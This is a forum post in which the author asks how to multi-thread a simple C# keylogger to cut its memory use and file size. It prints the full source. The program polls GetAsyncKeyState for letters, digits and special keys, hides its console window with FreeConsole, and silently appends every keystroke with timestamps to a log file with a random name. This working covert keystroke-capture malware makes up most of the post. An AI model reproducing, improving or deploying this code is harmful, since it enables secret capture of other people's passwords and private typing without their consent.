Multi-threading a keylogger?
So, I have a simple keylogger using GetAsyncKeyState, and I know nothing about threading. Can someone post here or create a tutorial on how to use threading or something? Msdn fails at explaining things, or I'm just too stupid. 
Here's the code for the keylogger:
I just want to be able to reduce the memory it uses, it's filesize, etc. Also, I want to understand multi-threading. So if anyone has a tut or can sum it up in a simple way here, I'd be very happy. 
Here's the code for the keylogger:
Code:
class Program
{
[DllImport("user32.dll")]
static extern Boolean GetAsyncKeyState(System.Windows.Forms.Keys vKey);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern bool FreeConsole();
static void Main()
{
string log = Guid.NewGuid().ToString();
int counter = 0;
File.AppendAllText(log, System.DateTime.Now.ToString());
File.AppendAllText(log, "|| ");
FreeConsole();
while (true)
{
counter++;
if (GetAsyncKeyState(Keys.A))
{
File.AppendAllText(log, "A");
}
if (GetAsyncKeyState(Keys.B))
{
File.AppendAllText(log, "B");
}
if (GetAsyncKeyState(Keys.C))
{
File.AppendAllText(log, "C");
}
if (GetAsyncKeyState(Keys.D))
{
File.AppendAllText(log, "D");
}
if (GetAsyncKeyState(Keys.E))
{
File.AppendAllText(log, "E");
}
if (GetAsyncKeyState(Keys.F))
{
File.AppendAllText(log, "F");
}
if (GetAsyncKeyState(Keys.G))
{
File.AppendAllText(log, "G");
}
if (GetAsyncKeyState(Keys.H))
{
File.AppendAllText(log, "H");
}
if (GetAsyncKeyState(Keys.I))
{
File.AppendAllText(log, "I");
}
if (GetAsyncKeyState(Keys.J))
{
File.AppendAllText(log, "J");
}
if (GetAsyncKeyState(Keys.K))
{
File.AppendAllText(log, "K");
}
if (GetAsyncKeyState(Keys.L))
{
File.AppendAllText(log, "L");
}
if (GetAsyncKeyState(Keys.M))
{
File.AppendAllText(log, "M");
}
if (GetAsyncKeyState(Keys.N))
{
File.AppendAllText(log, "N");
}
if (GetAsyncKeyState(Keys.O))
{
File.AppendAllText(log, "O");
}
if (GetAsyncKeyState(Keys.P))
{
File.AppendAllText(log, "P");
}
if (GetAsyncKeyState(Keys.Q))
{
File.AppendAllText(log, "Q");
}
if (GetAsyncKeyState(Keys.R))
{
File.AppendAllText(log, "R");
}
if (GetAsyncKeyState(Keys.S))
{
File.AppendAllText(log, "S");
}
if (GetAsyncKeyState(Keys.T))
{
File.AppendAllText(log, "T");
}
if (GetAsyncKeyState(Keys.U))
{
File.AppendAllText(log, "U");
}
if (GetAsyncKeyState(Keys.V))
{
File.AppendAllText(log, "V");
}
if (GetAsyncKeyState(Keys.W))
{
File.AppendAllText(log, "W");
}
if (GetAsyncKeyState(Keys.X))
{
File.AppendAllText(log, "X");
}
if (GetAsyncKeyState(Keys.Y))
{
File.AppendAllText(log, "Y");
}
if (GetAsyncKeyState(Keys.Z))
{
File.AppendAllText(log, "Z");
}
if (GetAsyncKeyState(Keys.Add))
{
File.AppendAllText(log, " |ADD| ");
}
if (GetAsyncKeyState(Keys.Back))
{
File.AppendAllText(log, " |BACKSPACE| ");
}
if (GetAsyncKeyState(Keys.Cancel))
{
File.AppendAllText(log, " |CANCEL| ");
}
if (GetAsyncKeyState(Keys.CapsLock))
{
File.AppendAllText(log, " |CAPSLOCK| ");
}
if (GetAsyncKeyState(Keys.Clear))
{
File.AppendAllText(log, " |CLEAR| ");
}
if (GetAsyncKeyState(Keys.D0))
{
File.AppendAllText(log, " |0| ");
}
if (GetAsyncKeyState(Keys.D1))
{
File.AppendAllText(log, " |1| ");
}
if (GetAsyncKeyState(Keys.D2))
{
File.AppendAllText(log, " |2| ");
}
if (GetAsyncKeyState(Keys.D3))
{
File.AppendAllText(log, " |3| ");
}
if (GetAsyncKeyState(Keys.D4))
{
File.AppendAllText(log, " |4| ");
}
if (GetAsyncKeyState(Keys.D5))
{
File.AppendAllText(log, " |5| ");
}
if (GetAsyncKeyState(Keys.D6))
{
File.AppendAllText(log, " |6| ");
}
if (GetAsyncKeyState(Keys.D7))
{
File.AppendAllText(log, " |7| ");
}
if (GetAsyncKeyState(Keys.D8))
{
File.AppendAllText(log, " |8| ");
}
if (GetAsyncKeyState(Keys.D9))
{
File.AppendAllText(log, " |9| ");
}
if (GetAsyncKeyState(Keys.Decimal))
{
File.AppendAllText(log, " |DECIMAL| ");
}
if (GetAsyncKeyState(Keys.Delete))
{
File.AppendAllText(log, " |DEL| ");
}
if (GetAsyncKeyState(Keys.Divide))
{
File.AppendAllText(log, " |DIVIDE| ");
}
if (GetAsyncKeyState(Keys.Down))
{
File.AppendAllText(log, " |ARROWDOWN| ");
}
if (GetAsyncKeyState(Keys.End))
{
File.AppendAllText(log, " |END| ");
}
if (GetAsyncKeyState(Keys.Enter))
{
File.AppendAllText(log, " |ENTER| ");
}
if (GetAsyncKeyState(Keys.Escape))
{
File.AppendAllText(log, " |ESCAPE| ");
}
if (GetAsyncKeyState(Keys.F1))
{
File.AppendAllText(log, " |F1| ");
}
if (GetAsyncKeyState(Keys.F2))
{
File.AppendAllText(log, " |F2| ");
}
if (GetAsyncKeyState(Keys.F3))
{
File.AppendAllText(log, " |F3| ");
}
if (GetAsyncKeyState(Keys.F4))
{
File.AppendAllText(log, " |F4| ");
}
if (GetAsyncKeyState(Keys.F5))
{
File.AppendAllText(log, " |F5| ");
}
if (GetAsyncKeyState(Keys.F6))
{
File.AppendAllText(log, " |F6| ");
}
if (GetAsyncKeyState(Keys.F7))
{
File.AppendAllText(log, " |F7| ");
}
if (GetAsyncKeyState(Keys.F8))
{
File.AppendAllText(log, " |F8| ");
}
if (GetAsyncKeyState(Keys.F9))
{
File.AppendAllText(log, " |F9| ");
}
if (GetAsyncKeyState(Keys.F10))
{
File.AppendAllText(log, " |F10| ");
}
if (GetAsyncKeyState(Keys.F11))
{
File.AppendAllText(log, " |F11| ");
}
if (GetAsyncKeyState(Keys.F12))
{
File.AppendAllText(log, " |F12| ");
}
if (GetAsyncKeyState(Keys.Help))
{
File.AppendAllText(log, " |HELP| ");
}
if (GetAsyncKeyState(Keys.Home))
{
File.AppendAllText(log, " |HOME| ");
}
if (GetAsyncKeyState(Keys.Insert))
{
File.AppendAllText(log, " |INSERT| ");
}
if (GetAsyncKeyState(Keys.LaunchMail))
{
File.AppendAllText(log, " |MAIL| ");
}
if (GetAsyncKeyState(Keys.Left))
{
File.AppendAllText(log, " |LEFTARROW| ");
}
if (GetAsyncKeyState(Keys.LControlKey))
{
File.AppendAllText(log, " |LEFTCTRL| ");
}
if (GetAsyncKeyState(Keys.LMenu))
{
File.AppendAllText(log, " |LEFTALT| ");
}
if (GetAsyncKeyState(Keys.LShiftKey))
{
File.AppendAllText(log, " |LEFTSHIFT| ");
}
if (GetAsyncKeyState(Keys.LWin))
{
File.AppendAllText(log, " |LEFTWIN| ");
}
if (GetAsyncKeyState(Keys.MButton))
{
File.AppendAllText(log, " |MidMouse-Scrollwheel| ");
}
if (GetAsyncKeyState(Keys.Multiply))
{
File.AppendAllText(log, " |MUL| ");
}
if (GetAsyncKeyState(Keys.NumLock))
{
File.AppendAllText(log, " |NUMLOCK| ");
}
if (GetAsyncKeyState(Keys.NumPad0))
{
File.AppendAllText(log, " |NUMPAD|0| ");
}
if (GetAsyncKeyState(Keys.NumPad1))
{
File.AppendAllText(log, " |NUMPAD|1| ");
}
if (GetAsyncKeyState(Keys.NumPad2))
{
File.AppendAllText(log, " |NUMPAD|2| ");
}
if (GetAsyncKeyState(Keys.NumPad3))
{
File.AppendAllText(log, " |NUMPAD|3| ");
}
if (GetAsyncKeyState(Keys.NumPad4))
{
File.AppendAllText(log, " |NUMPAD|4| ");
}
if (GetAsyncKeyState(Keys.NumPad5))
{
File.AppendAllText(log, " |NUMPAD|5| ");
}
if (GetAsyncKeyState(Keys.NumPad6))
{
File.AppendAllText(log, " |NUMPAD|6| ");
}
if (GetAsyncKeyState(Keys.NumPad7))
{
File.AppendAllText(log, " |NUMPAD|7| ");
}
if (GetAsyncKeyState(Keys.NumPad8))
{
File.AppendAllText(log, " |NUMPAD|8| ");
}
if (GetAsyncKeyState(Keys.NumPad9))
{
File.AppendAllText(log, " |NUMPAD|9| ");
}
if (GetAsyncKeyState(Keys.PageDown))
{
File.AppendAllText(log, " |PAGEDOWN| ");
}
if (GetAsyncKeyState(Keys.PageUp))
{
File.AppendAllText(log, " |PAGEUP| ");
}
if (GetAsyncKeyState(Keys.Pause))
{
File.AppendAllText(log, " |PAUSE| ");
}
if (GetAsyncKeyState(Keys.Play))
{
File.AppendAllText(log, " |PLAY| ");
}
if (GetAsyncKeyState(Keys.Print))
{
File.AppendAllText(log, " |PRINT| ");
}
if (GetAsyncKeyState(Keys.PrintScreen))
{
File.AppendAllText(log, " |PRINTSCREEN| ");
}
if (GetAsyncKeyState(Keys.RControlKey))
{
File.AppendAllText(log, " |RIGHTCTRL| ");
}
if (GetAsyncKeyState(Keys.Right))
{
File.AppendAllText(log, " |RIGHTARROW| ");
}
if (GetAsyncKeyState(Keys.RMenu))
{
File.AppendAllText(log, " |RIGHTALT| ");
}
if (GetAsyncKeyState(Keys.RShiftKey))
{
File.AppendAllText(log, " |RIGHTSHIFT| ");
}
if (GetAsyncKeyState(Keys.RWin))
{
File.AppendAllText(log, " |RIGHTWIN| ");
}
if (GetAsyncKeyState(Keys.Scroll))
{
File.AppendAllText(log, " |SCROLL-LOCK| ");
}
if (GetAsyncKeyState(Keys.Sleep))
{
File.AppendAllText(log, " |SLEEP| ");
}
if (GetAsyncKeyState(Keys.Space))
{
File.AppendAllText(log, " |SPACE| ");
}
if (GetAsyncKeyState(Keys.Subtract))
{
File.AppendAllText(log, " |SUBTRACT| ");
}
if (GetAsyncKeyState(Keys.Tab))
{
File.AppendAllText(log, " |TAB| ");
}
if (GetAsyncKeyState(Keys.Up))
{
File.AppendAllText(log, " |UPARROW| ");
}
if (counter == 1000)
{
File.AppendAllText(log, " |COUNT1K| ");
}
if (counter >= 2000)
{
File.AppendAllText(log, System.DateTime.Now.ToString());
File.AppendAllText(log, "|| ");
counter = 0;
}
else
{
Thread.Sleep(10);
}
Thread.Sleep(80);
}
}
}
Originally Posted by t7ancients
